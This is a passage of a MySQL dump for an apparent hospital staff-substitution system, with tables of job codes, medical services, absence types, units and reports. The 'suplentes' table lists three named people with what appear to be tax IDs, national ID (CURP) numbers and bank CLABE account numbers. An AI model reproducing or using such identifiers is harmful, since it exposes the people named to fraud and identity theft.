'<NAME>'), (1825, 356298, '<NAME>'), (1826, 356398, '<NAME>'), (1827, 356597, 'OCHOA CRUZ PERLA RUBY'), (1828, 356669, '<NAME>'), (1829, 245668, '<NAME>'), (1830, 176641, '<NAME>'), (1831, 356796, '<NAME>'), (1832, 356806, '<NAME>'), (1833, 245942, '<NAME>'), (1834, 177179, '<NAME>'), (1835, 177291, '<NAME>'), (1836, 294151, '<NAME>'), (1837, 357029, '<NAME>'), (1838, 247904, '<NAME>'), (1839, 295013, '<NAME>'), (1840, 357724, 'DE LA CRUZ TORRES OLIVIA'), (1841, 357788, '<NAME>'), (1842, 248350, 'BUSTAMANTE <NAME>'), (1843, 357830, '<NAME>'), (1844, 248493, '<NAME>'), (1845, 357949, '<NAME>'), (1846, 295589, '<NAME>'), (1847, 358575, '<NAME>'), (1848, 358914, '<NAME> <NAME>'), (1849, 296935, '<NAME>'), (1850, 296970, '<NAME>'), (1851, 181458, '<NAME>'), (1852, 359223, '<NAME>'), (1853, 181826, '<NAME>'), (1854, 359521, '<NAME>'), (1855, 359599, '<NAME>'), (1856, 359611, '<NAME>'), (1857, 297942, '<NAME>'), (1858, 182197, '<NAME>'), (1859, 182281, '<NAME>'), (1860, 182290, '<NAME> <NAME>'), (1861, 360105, '<NAME>'), (1862, 360109, '<NAME>'), (1863, 298579, '<NAME>'), (1864, 360316, '<NAME>'), (1865, 360440, '<NAME>'), (1866, 360939, '<NAME>'), (1867, 361214, '<NAME>'), (1868, 187742, '<NAME>'), (1869, 361707, '<NAME>'), (1870, 188095, '<NAME>'), (1871, 362008, '<NAME>'), (1872, 188857, '<NAME>'), (1873, 189135, '<NAME>'), (1874, 362306, '<NAME>'), (1875, 362437, '<NAME>'), (1876, 362441, '<NAME>'), (1877, 362445, '<NAME>'), (1878, 362452, '<NAME>'), (1879, 362456, '<NAME>'), (1880, 362460, '<NAME>'), (1881, 362464, '<NAME>'), (1882, 362469, '<NAME>'), (1883, 362485, '<NAME>'), (1884, 362489, '<NAME>'), (1885, 362517, '<NAME>'), (1886, 362521, '<NAME>'), (1887, 362548, '<NAME>'), (1888, 362552, '<NAME>'), (1889, 190533, '<NAME>'), (1890, 362656, '<NAME>'), (1891, 362961, '<NAME>'), (1892, 352188, '<NAME>'); -- -------------------------------------------------------- -- -- Table structure for table `incidencias` -- CREATE TABLE `incidencias` ( `id` int(10) UNSIGNED NOT NULL, `incidencia` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `descripcion` varchar(255) COLLATE utf8_unicode_ci NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `incidencias` -- INSERT INTO `incidencias` (`id`, `incidencia`, `descripcion`) VALUES (1, 'S1', 'Licencia c/goce de sueldo'), (2, 'S2', 'Licencia Médica'), (3, 'S3', 'Vacaciones'), (4, 'S4', 'COMISION'), (5, 'S5', 'FALTA JUSTIFICADA'), (6, 'S6', 'Falta laboral'), (7, 'G1', 'POR CONTINUIDAD EN EL SERVICIO'), (8, 'G2', 'Descanso Art 50'), (9, 'COV-1', 'COVID-19 Mayores de 65 años'), (10, 'COV-2', 'COVID-19 Enfermedades crónico-degenerativas'), (11, 'COV-3', 'COVID-19 Mujeres Embarazadas'); -- -------------------------------------------------------- -- -- Table structure for table `migrations` -- CREATE TABLE `migrations` ( `migration` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `batch` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `migrations` -- INSERT INTO `migrations` (`migration`, `batch`) VALUES ('2014_10_12_000000_create_users_table', 1), ('2014_10_12_100000_create_password_resets_table', 1), ('2020_04_15_190521_create_suplentes_table', 1), ('2020_04_15_193025_Create_puestos_table', 1), ('2020_04_15_193038_Create_servicios_table', 1), ('2020_04_15_193113_Create_incidencias_table', 1), ('2020_04_15_193142_Create_unidades_table', 1), ('2020_04_15_193951_Create_empleados_table', 1), ('2020_04_15_215211_create_reports_table', 1), ('2020_09_22_184608_add_type_to_users_table', 2), ('2020_09_22_203210_Add_beneficiario_to_suplentes', 3); -- -------------------------------------------------------- -- -- Table structure for table `password_resets` -- CREATE TABLE `password_resets` ( `email` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `token` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `puestos` -- CREATE TABLE `puestos` ( `id` int(10) UNSIGNED NOT NULL, `puesto` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `descripcion` varchar(255) COLLATE utf8_unicode_ci NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `puestos` -- INSERT INTO `puestos` (`id`, `puesto`, `descripcion`) VALUES (1, 'AA00300', 'ADMINISTRATIVO ESPECIALIZADO'), (2, 'AA00400', 'AUXILIAR ADMINISTRADOR'), (3, 'CF40014', 'ASISTENTE ADMINISTRATIVO EN SALUD A2'), (4, 'CF40015', 'ASISTENTE ADMINISTRATIVO EN SALUD A3'), (5, 'CF41020', 'MEDICO RESP UNIDAD MEDICA FAM'), (6, 'CF41024', 'JEFE DE ENFERMERAS A'), (7, 'CF41052', 'SUBJEFE DE ENFERMERAS'), (8, 'CF41079', 'SUBJEFE DE ENFERMERAS A'), (9, 'CF41080', 'SUPERVISOR MEDICO A'), (10, 'CF41081', 'SUPERVISOR MEDICO B'), (11, 'CF41083', 'SUPERVISOR MEDICO D'), (12, 'CF41084', 'SUPERVISOR MEDICO E'), (13, 'CF41085', 'SUPERVISOR MEDICO F'), (14, 'EB00300', 'TECNICO ESPECIALISTA'), (15, 'ED00200', 'CHOFER'), (16, 'FA00100', 'TECNICO MEDIO'), (17, 'HA00300', 'AUXILIAR ADMINISTRADOR'), (18, 'HP00100', 'TECNICO MEDIO'), (19, 'HP00200', 'ESPECIALISTA TECNICO'), (20, 'M01004', 'MEDICO ESPECIALISTA A'), (21, 'M01006', 'MEDICO GENERAL A'), (22, 'M01007', 'CIRUJANO DENTISTA A'), (23, 'M01008', 'MEDICO GENERAL B'), (24, 'M01009', 'MEDICO GENERAL C'), (25, 'M01010', 'MEDICO ESPECIALISTA B'), (26, 'M01011', 'MEDICO ESPECIALISTA C'), (27, 'M01014', 'CIRUJANO DENTISTA B'), (28, 'M01015', 'CIRUJANO DENTISTA C'), (29, 'M01016', 'MEDICO JEFE DE SERVICIOS'), (30, 'M01017', 'JEFE DE SECCION MEDICA'), (32, 'M01018', 'MEDICO ODONTOLOGO A'), (34, 'M01019', 'MEDICO ODONTOLOGO B'), (36, 'M01020', 'MEDICO ODONTOLOGO C'), (37, 'M01021', 'MEDICO ODONTOLOGO ESPECIALISTA A'), (38, 'M01022', 'MEDICO ODONTOLOGO ESPECIALISTA B'), (39, 'M01023', 'MEDICO ODONTOLOGO ESPECIALISTA C'), (40, 'M02001', 'QUIMICO A'), (41, 'M02005', 'AUXILIAR DE LABORATORIO Y O BIOTERIO A'), (42, 'M02006', 'TECNICO RADIOLOGO O EN RADIOTERAPIA'), (43, 'M02007', 'TECNICO EN ELECTRODIAGNOSTICO'), (44, 'M02012', 'TERAPISTA'), (45, 'M02014', 'TECNICO EN OPTOMETRIA'), (46, 'M02015', 'PSICOLOGO CLINICO'), (47, 'M02016', 'CITOTECNOLOGO A'), (48, 'M02018', 'TECNICO ANESTESISTA'), (50, 'M02031', 'ENFERMERA JEFE DE SERVICIO'), (51, 'M02034', 'ENFERMERA ESPECIALISTA A'), (52, 'M02035', 'ENFERMERA GENERAL TITULADA A'), (53, 'M02036', 'AUXILIAR DE ENFERMERIA A'), (54, 'M02038', 'OFICIAL Y O PREPARADOR DESPACHADOR DE FARMACIA'), (55, 'M02045', 'DIETISTA'), (56, 'M02049', 'NUTRICIONISTA'), (57, 'M02066', 'TECNICO EN TRABAJO SOCIAL EN AREA MEDICA A'), (58, 'M02074', 'LABORATORISTA A'), (59, 'M02081', 'ENFERMERA GENERAL TITULADA B'), (60, 'M02082', 'AUXILIAR DE ENFERMERIA B'), (61, 'M02083', 'ENFERMERA GENERAL TECNICA'), (62, 'M02085', 'TRABAJADORA SOCIAL EN AREA MEDICA B'), (63, 'M02087', 'ENFERMERA ESPECIALISTA B'), (64, 'M02088', '<NAME>'), (65, 'M02089', '<NAME>'), (66, 'M02090', '<NAME> DE SECCION DE LAB DE ANALISIS CLINI'), (67, 'M02091', '<NAME> DE SECCION DE LAB DE ANALISIS CLINI'), (68, 'M02095', 'TECNICO LABORATORISTA B'), (69, 'M02101', 'PASANTE DE LICENCIADO EN TRABAJO SOCIAL'), (70, 'M02102', 'ASISTENTE DE COCINA EN UNIDAD HOSPITALARIA'), (71, 'M02103', 'JEFE DE COCINA EN CENTRO HOSPITALARIO'), (72, 'M02104', 'COCINERO EN CENTRO HOSPITALARIO'), (73, 'M03001', 'INGENIERO BIOMEDICO'), (74, 'M03006', 'CAMILLERO'), (75, 'M03012', 'OPERADOR DE CALDERAS EN HOSPITAL'), (76, 'M03018', 'APOYO ADMINISTRATIVO EN SALUD A8'), (77, 'M03019', 'APOYO ADMINISTRATIVO EN SALUD A7'), (78, 'M03020', 'APOYO ADMINISTRATIVO EN SALUD A6'), (79, 'M03021', 'APOYO ADMINISTRATIVO EN SALUD A5'), (80, 'M03022', 'APOYO ADMINISTRATIVO EN SALUD A4'), (81, 'M03023', 'APOYO ADMINISTRATIVO EN SALUD A3'), (82, 'M03024', 'APOYO ADMINISTRATIVO EN SALUD A2'), (83, 'M03025', 'APOYO ADMINISTRATIVO EN SALUD A1'); -- -------------------------------------------------------- -- -- Table structure for table `reports` -- CREATE TABLE `reports` ( `id` int(10) UNSIGNED NOT NULL, `suplente_id` int(10) UNSIGNED NOT NULL, `puesto_id` int(10) UNSIGNED NOT NULL, `servicio_id` int(10) UNSIGNED NOT NULL, `unidad_id` int(10) UNSIGNED NOT NULL, `tipo` enum('Guardia','Suplencia') COLLATE utf8_unicode_ci NOT NULL DEFAULT 'Suplencia', `fecha_inicio` date NOT NULL, `fecha_final` date NOT NULL, `qna` int(11) NOT NULL, `monto` double(8,2) NOT NULL, `empleado_id` int(10) UNSIGNED NOT NULL, `incidencia_id` int(10) UNSIGNED NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `reports` -- INSERT INTO `reports` (`id`, `suplente_id`, `puesto_id`, `servicio_id`, `unidad_id`, `tipo`, `fecha_inicio`, `fecha_final`, `qna`, `monto`, `empleado_id`, `incidencia_id`, `created_at`, `updated_at`) VALUES (1, 800801, 1, 10, 1, 'Suplencia', '2020-04-15', '2020-04-15', 6, 5620.25, 1647, 10, NULL, NULL); -- -------------------------------------------------------- -- -- Table structure for table `servicios` -- CREATE TABLE `servicios` ( `id` int(10) UNSIGNED NOT NULL, `servicio` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `descripcion` varchar(255) COLLATE utf8_unicode_ci NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `servicios` -- INSERT INTO `servicios` (`id`, `servicio`, `descripcion`) VALUES (1, '02200', 'REGISTRO Y VIGENCIA DE DERECHO'), (2, '02300', 'INFORMACION Y ORIENTACION'), (3, '02400', 'TRABAJO SOCIAL'), (4, '02500', 'EXPED DE LICENCIAS MEDICAS'), (5, '02800', 'MEDICINA LEGAL'), (6, '03400', 'REGISTRO Y VIGENCIA DE DERECHO'), (7, '03500', 'ORIENTACION E INFORMACION'), (8, '03600', 'TRABAJO SOCIAL'), (9, '04210', 'HEMATOLOGIA'), (10, '04220', 'INFECTOLOGIA'), (11, '04230', 'NEFROLOGIA'), (12, '04231', 'HEMODIALISIS'), (13, '04232', 'NEFROLOGIA PEDIATRICA'), (14, '04240', 'ALERGOLOGIA'), (15, '04250', 'REUMATOLOGIA'), (16, '04270', 'GERIATRIA'), (17, '04300', 'MEDICINA INTERNA'), (18, '04310', 'CARDIOLOGIA'), (19, '04311', 'HEMODINAMIA'), (20, '04320', 'ENDOCRINOLOGIA'), (21, '04330', 'NEUROLOGIA'), (22, '04340', 'PSIQUIATRIA'), (23, '04341', 'PSICOLOGIA'), (24, '04350', 'DERMATOLOGIA'), (25, '05200', 'GINECOLOGIA Y PERINATOLOGIA'), (26, '05300', 'OBSTETRICIA'), (27, '06200', 'ESCOLARES Y ADOLECENTES'), (28, '06300', 'LACTANTES Y PREESCOLARES'), (29, '06400', 'PEDIATRIA'), (30, '06500', 'NEONATOLOGIA'), (31, '06510', 'INFECTOLOGIA PEDIATRICA'), (32, '06530', 'TERAPIA INTENSIVA'), (33, '06540', 'URGENCIAS PEDIATRIA'), (34, '06550', 'CI NEONATOLOGIA'), (35, '07210', 'ANGIOLOGIA'), (36, '07220', 'CIRUGIA RECONSTRUCTIVA'), (37, '07230', 'CIRUGIA DEL TORAX'), (38, '07240', 'CIRUGIA PEDIATRIA'), (39, '07250', 'CIRUGIA GASTROENTEROLOGICA'), (40, '07260', 'CIRUGIA CARDIOVASCULAR'), (41, '07270', 'CIRUGIA MAXILOFACIAL'), (42, '07280', 'NEUROCIRUGIA'), (43, '07300', 'CIRUGIA GENERAL'), (44, '07310', 'ORTOPEDIA Y TRAUMATOLOGIA'), (45, '07320', 'OTORRINOLARINGOLOGIA'), (46, '07330', 'OFTALMOLOGIA'), (47, '07340', 'GASTROENTEROLOGIA'), (48, '07350', 'UROLOGIA'), (49, '07360', 'ONCOLOGIA'), (50, '07370', 'PROCTOLOGIA'), (51, '07380', 'ODONTOLOGIA ESPEC (CIRUGIA BUC'), (52, '07390', 'MEDICINA PREVENTIVA'), (53, '07400', 'NEUMOLOGIA'), (54, '07410', 'INHALOTERAPIA'), (55, '07500', 'ENDOSCOPIAS'), (56, '07700', 'ANESTESIOLOGIA'), (57, '08200', 'URGENCIAS'), (58, '08300', 'TERAPIA INTENSIVA'), (59, '09200', 'RADIOLOGIA'), (60, '09210', 'MEDICINA NUCLEAR'), (61, '09211', 'RADIOTERAPIA'), (62, '09300', 'ANESTESIOLOGIA'), (63, '09400', 'ANATOMIA PATOLOGICA'), (65, '09410', 'HEMODIALISIS'), (66, '09420', 'INHALOTERAPIA'), (67, '09430', 'PSICOPROFILAXIS'), (68, '09440', 'HEMODINAMIA'), (69, '09450', 'ENDOSCOPIA'), (70, '09460', 'ELECTRODIAGNOSTICO'), (71, '09461', 'ELECTROENCEFALOGRAFIA'), (72, '09500', 'ENFERMERIA (GOBIERNO)'), (73, '09503', 'TOCOCIRUGIA'), (74, '09504', 'TERAPIA INTENSIVA PEDIATRIA'), (75, '09505', 'CUNERO NORMAL'), (76, '09506', 'QUIROFANO'), (77, '09507', 'RECUPERACION POSTQUIRURGICA'), (78, '09508', 'LABOR'), (79, '09509', 'CEYE'), (80, '09510', 'EXPULSION'), (81, '09511', 'CONSULTA EXTERNA'), (82, '09512', 'CURACIONES E INYECCIONES'), (83, '09514', 'RECUPERACION GINECO OBSTETRICI'), (84, '09519', 'UNIDAD DE ABASTOS'), (85, '09523', 'HOSPITALIZACION'), (86, '09600', 'LABORATORIOS DE ANALISIS CLINI'), (87, '9600', 'LABORATORIOS DE ANALISIS CLINI'), (88, '09610', 'BANCO DE SANGRE'), (89, '09630', 'HISTOPATOLOGIA'), (90, '09640', 'CITOLOGIA'), (91, '09650', 'MEDICINA FISICA Y REHABILITACI'), (92, '09700', 'ARCHIVO CLINICO'), (93, '10200', 'ADMISION HOSPITALARIA'), (94, '10300', 'RECEPCION DE CONSULTA EXTERNA'), (95, '10401', 'TRASLADO DE PACIENTES'), (96, '10500', 'ARCHIVO CLINICO'), (97, '11001', 'TRABAJO SOCIAL'), (98, '11010', 'JEFATURA DE ENFERMERIA'), (99, '11011', 'CURACIONES E INYECCIONES'), (100, '11012', 'CEYE'), (101, '11013', 'TOCOCIRUGIA'), (102, '11101', 'LICENCIAS MEDICAS'), (103, '11110', 'CONSULTA EXTERNA'), (104, '11111', 'RECEPCION DE CONSULTA EXTERNA'), (105, '11113', 'URGENCIAS (C M F)'), (106, '11120', 'MEDICINA PREVENTIVA Y SALUD RE'), (107, '11121', 'UNIDAD AT N PRIMARIA PARA SALU'), (108, '11121', 'UNIDAD AT\'N PRIMARIA PARA SALU'), (109, '11130', 'ODONTOLOGIA'), (110, '11140', 'LABORATORIO CLINICO'), (111, '11150', 'RADIODIAGNOSTICO'), (112, '11210', 'ARCHIVO CLINICO'), (113, '11220', 'VIGENCIA DE DERECHOS'), (114, '11300', 'CENTRO DE CIRUGIA SIMPLIFICADA'), (115, '11310', 'CIRUGIA'), (116, '11320', '<NAME>'), (117, '11330', 'PEDIATRIA'), (118, '12021', 'FARMACIA'), (119, '12400', 'REGISTRO Y CONTROL DE ASISTENC'), (120, '14300', 'FARMACIA'), (121, '15200', 'ALIMENTACION'), (122, '15210', '<NAME>'), (123, '15300', 'LAVANDERIA Y ROPERIA'), (124, '15310', 'ROPERIA'), (125, '15400', 'TRANSPORTES'), (126, '15550', 'CAMILLEROS'), (127, '17101', 'CONSULTA EXTERNA'), (128, '17102', 'RECEPCION DE CONSULTA EXTERNA'), (129, '17111', 'TERAPIA FISICA'), (130, '17112', 'TERAPIA OCUPACIONAL'), (131, '17200', 'CONSULTA EXTERNA'), (132, '17210', 'MEDICINA PREVENTIVA'), (133, '17220', 'URGENCIAS'), (134, '17250', 'ODONTOPEDIATRIA'), (135, '17260', 'ENDODONCIA'), (136, '17270', 'ORTODONCIA'), (137, '17300', '<NAME>'), (138, '17400', 'PEDIATRIA'), (139, '17500', 'MEDICINA INTERNA'), (140, '17600', 'CIRUGIA GENERAL'), (141, '17700', 'HOSPITALIZACION'), (142, '17710', 'PEDIATRIA'), (143, '17720', 'OFTALMOLOGIA'), (144, '17730', 'OTORRINOLARINGOLOGIA'), (145, '17740', 'TRAUMATOLOGIA Y ORTOPEDIA'), (146, '17750', 'MEDICINA INTERNA'), (147, '17760', 'CIRUGIA GENERAL'), (148, '17770', 'ANESTESIOLOGIA'), (149, '17800', 'JEFATURA ENFERMERIA (GOBIERNO)'), (150, '17810', 'TOCOCIRUGIA'), (151, '17812', 'QUIROFANO'), (152, '17814', 'RECUPERACION'), (153, '17816', 'LABOR Y EXPULSION'), (154, '17818', '<NAME>'), (155, '17820', 'CUNEROS'), (156, '17822', 'CEYE'), (157, '17824', 'RADIOLOGIA'), (158, '17900', 'LABORATORIOS DE ANALISIS CLINI'), (159, '17980', 'ARCHIVO CLINICO'), (160, '19011', 'MANTENIMIENTO'), (161, '19013', 'CAMILLEROS'), (162, '19300', 'FARMACIA'), (163, '19400', 'ALIMENTACION'), (164, '19500', 'LAVANDERIA Y ROPERIA'), (165, '19600', 'TRANSPORTES'), (166, '20200', 'MEDICINA GENERAL'), (167, '20300', 'ODONTOLOGIA'), (168, '20300', 'ODONTOLOG?A'), (169, '20400', 'MEDICINA PREVENTIVA'), (170, '20500', 'LABORATORIO CLINICO'), (171, '20600', 'RADIODIAGNOSTICO'), (172, '20700', 'RECEPCION DE CONSULTA EXTERNA'), (173, '21110', 'CONSULTA EXTERNA'), (174, '21120', 'CURACIONES E INYECCIONES'), (175, '51111', 'GASTROENTEROLOGIA'), (176, '51112', 'CIRUGIA GENERAL'), (177, '51113', 'ENDOSCOPIA'), (178, '51114', 'ORTOPEDIA'), (179, '51115', 'NEUMOLOGIA'), (180, '51116', 'UROLOGIA'), (181, '51121', 'CIRUGIA RECONSTRUCTIVA'), (182, '51122', 'CIRUGIA MAXILOFACIAL'), (183, '51123', 'OTORRINOLARINGOLOGIA'), (184, '51124', 'OFTALMOLOGIA'), (185, '51131', 'ANESTESIOLOGIA'), (186, '51132', '<NAME>'), (187, '51133', 'QUIROFANOS'), (188, '51201', 'REPRODUCCION HUMANA'), (189, '51202', 'MEDICINA MATERNO FETAL'), (190, '51203', 'GINECOLOGIA DE ALTA ESPECIALID'), (191, '51301', 'NEUROLOGIA PEDIATRICA'), (192, '51302', 'NEFROLOGIA PEDIATRICA'), (193, '51303', 'MEDICINA INTERNA PEDIATRICA'), (194, '51304', 'NEONATOLOGIA'), (195, '51305', 'UNIDAD DE CUIDADOS INTENSIVOS'), (196, '51306', 'UNIDAD DE TERAPIA INTENSIVA PE'), (197, '51307', 'CIRUGIA PEDIATRICA'), (198, '51308', 'INFECTOLOGIA PEDIATRICA'), (199, '51411', 'NEUROCIRUGIA'), (200, '51412', 'NEUROLOGIA ADULTOS'), (201, '51413', 'PSIQUIATRIA'), (202, '51414', 'NEUROFISIOLOGIA CLINICA'), (203, '51421', 'CARDIOLOGIA'), (204, '51422', 'CIRUGIA CARDIOVASCULAR'), (205, '51423', 'HEMODINAMIA'), (206, '51431', 'ONCOLOGIA MEDICA'), (207, '51432', 'ONCOLOGIA QUIRURGICA'), (208, '51433', 'ONCOLOGIA PEDIATRICA'), (209, '51434', 'RADIOTERAPIA'), (210, '51435', 'HEMATOLOGIA'), (211, '51436', 'FISICA MEDICA'), (212, '51441', 'HEMODIALISIS'), (213, '51442', 'TRANSPLANTES'), (214, '51511', 'LABORATORIO Y ANALISIS CLINICO'), (215, '51512', 'LABORATORIO DE ESTUDIOS ESPECI'), (216, '51513', 'LABORATORIO DE AREAS CRITICAS'), (217, '51521', 'RADIOLOGIA E IMAGEN'), (218, '51522', 'MEDICINA NUCLEAR'), (219, '51523', 'ANATOMIA PATOLOGICA'), (221, '51531', 'BANCO DE SANGRE'), (222, '51532', 'MEDICINA FISICA'), (223, '51533', 'FONIATRIA Y AUDIOLOGIA'), (224, '51611', 'MEDICINA INTERNA'), (225, '51612', 'TERAPIA INTERMEDIA'), (226, '51613', 'REUMATOLOGIA'), (227, '51614', 'ALERGIA'), (228, '51615', 'DERMATOLOGIA'), (229, '51616', 'ENDOCRINOLOGIA'), (230, '51617', 'NEFROLOGIA'), (231, '51621', 'UNIDAD DE TERAPIA INTENSIVA AD'), (232, '51622', 'ADMISION CONTINUA ADULTOS'), (233, '51631', 'CONTROL DE PACIENTES'), (234, '51711', 'SUPERVISION Y OPERACION'), (236, '51713', 'CENTRAL DE EQUIPOS Y ESTERILIZ'), (237, '51721', 'HOSPITALIZACION'), (238, '51722', 'SERVICIO AL PACIENTE AMBULATOR'), (239, '51731', 'COCINA CENTRAL'), (240, '51732', 'SERVICIOS PERIFERICOS'), (241, '52213', 'BIOTERIO'), (242, '53213', 'FARMACIA'), (243, '53311', 'MANTENIMIENTO'), (244, '53312', 'INGENIERIA BIOMEDICA'), (245, '53322', 'TRANSPORTES'), (246, '53323', 'ROPERIA'), (247, '53401', 'ADMISION Y EGRESOS'), (248, '53402', 'ARCHIVO CLINICO'), (249, '53403', 'RELACIONES HOSPITALARIAS'), (250, '53404', 'ATENCION AL DERECHOHABIENTE'), (251, 'EK041', 'INTEGRAL'), (252, 'EK042', 'EDUCATIVA'), (253, 'EK043', 'ASISTENCIAL'), (254, 'EK044', 'ALIMENTACION'), (255, 'EK045', 'LAVANDERIA'), (256, 'EK061', 'SERVICIOS DE VELATORIO'), (257, 'EK062', 'HORNO CREMATORIO'), (258, 'EK065', 'MANTENIMIENTO'), (259, 'HK042', 'MANTENIMIENTO ESPECIALIZADO'), (260, 'HK043', 'MANTENIMIENTO'), (261, 'HK044', 'APOYO ARTESANOS'); -- -------------------------------------------------------- -- -- Table structure for table `suplentes` -- CREATE TABLE `suplentes` ( `id` int(10) UNSIGNED NOT NULL, `rfc` varchar(13) COLLATE utf8_unicode_ci NOT NULL, `curp` varchar(18) COLLATE utf8_unicode_ci NOT NULL, `clabe` varchar(18) COLLATE utf8_unicode_ci NOT NULL, `apellido_pat` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `apellido_mat` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `nombre` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `beneficiario` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `suplentes` -- INSERT INTO `suplentes` (`id`, `rfc`, `curp`, `clabe`, `apellido_pat`, `apellido_mat`, `nombre`, `created_at`, `updated_at`, `beneficiario`) VALUES (800801, 'FUAH800427564', 'FUAH800427HBCNRC01', '14020250004458500', 'CARRILLO', 'MUNOZ', 'VICTOR', NULL, '2020-09-23 18:34:23', 332618), (800805, 'BELP601119685', 'HETU761010HGRRSS04', '002028708520351305', 'GOMEZ', 'LOPEZ', 'MONICA', '2020-09-23 18:44:05', '2020-09-23 18:44:05', 125257), (800806, 'FUAN740908754', 'CAXR491021HBCSXB07', '002045601720351305', 'FUENTES', 'ARMENTA', 'NANCY', '2020-09-23 18:44:48', '2020-09-23 18:44:48', 230025); -- -------------------------------------------------------- -- -- Table structure for table `unidads` -- CREATE TABLE `unidads` ( `id` int(10) UNSIGNED NOT NULL, `clave` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `descripcion` varchar(255) COLLATE utf8_unicode_ci NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `unidads` -- INSERT INTO `unidads` (`id`, `clave`, `descripcion`) VALUES (1, '0202120100', 'HOSPITAL GENERAL 5 DE DICIEMBRE'), (2, '0202120200', 'HOSPITAL GENERAL FRAY JUNIPERO SERRA'), (3, '0202130300', 'CLINICA HOSPITAL ENSENADA'), (4, '0202140100', 'CLINICA DE MEDICINA FAMILIAR <NAME>'), (5, '0202150500', 'UNIDAD DE MEDICINA FAMILIAR A'), (6, '0204200100', 'ESTANCIA BIENESTAR INFANTIL No 034'), (7, '0204200300', 'ESTANCIA BIENESTAR INFANTIL No 060'), (8, '0204200200', 'ESTANCIA BIENESTAR INFANTIL No 059'), (9, '0204200400', 'ESTANCIA BIENESTAR INFANTIL No 105'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` int(10) UNSIGNED NOT NULL, `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `email` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `password` varchar(255) COLLATE utf8_unicode_ci NOT NULL, `remember_token` varchar(100) COLLATE utf8_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `type` enum('member','admin') COLLATE utf8_unicode_ci NOT NULL DEFAULT 'member' ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `name`, `email`, `password`, `remember_token`, `created_at`, `updated_at`, `type`) VALUES (1, '<NAME>', '<EMAIL>', <PASSWORD>', NULL, '2020-09-22 18:40:23', '2020-09-22 18:40:23', 'admin'); -- -- Indexes for dumped tables -- -- -- Indexes for table `empleados` -- ALTER TABLE `empleados` ADD PRIMARY KEY (`id`); -- -- Indexes for table `incidencias` -- ALTER TABLE `incidencias` ADD PRIMARY KEY (`id`); -- -- Indexes for table `password_resets` -- ALTER TABLE `password_resets` ADD KEY `password_resets_email_index` (`email`), ADD KEY `password_resets_token_index` (`token`); -- -- Indexes for table `puestos` -- ALTER TABLE `puestos` ADD PRIMARY KEY (`id`); -- -- Indexes for table `reports` -- ALTER TABLE `reports` ADD PRIMARY KEY (`id`), ADD KEY `reports_suplente_id_foreign` (`suplente_id`), ADD KEY `reports_puesto_id_foreign` (`puesto_id`), ADD KEY `reports_servicio_id_foreign` (`servicio_id`), ADD KEY `reports_unidad_id_foreign` (`unidad_id`), ADD KEY `reports_empleado_id_foreign` (`empleado_id`), ADD KEY `reports_incidencia_id_foreign` (`incidencia_id`); -- -- Indexes for table `servicios` -- ALTER TABLE `servicios` ADD PRIMARY KEY (`id`); -- -- Indexes for table `suplentes` -- ALTER TABLE `suplentes` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `suplentes_rfc_unique` (`rfc`); -- -- Indexes for table `unidads` -- ALTER TABLE `unidads` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `users_email_unique` (`email`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `empleados` -- ALTER TABLE `empleados` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=1893; -- -- AUTO_INCREMENT for table `incidencias` -- ALTER TABLE `incidencias` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; -- -- AUTO_INCREMENT for table `puestos` -- ALTER TABLE `puestos` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=84; -- -- AUTO_INCREMENT for table `reports` -- ALTER TABLE `reports` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `servicios` -- ALTER TABLE `servicios` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=262; -- -- AUTO_INCREMENT for table `suplentes` -- ALTER TABLE `suplentes` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=800807; -- -- AUTO_INCREMENT for table `unidads` -- ALTER TABLE `unidads` 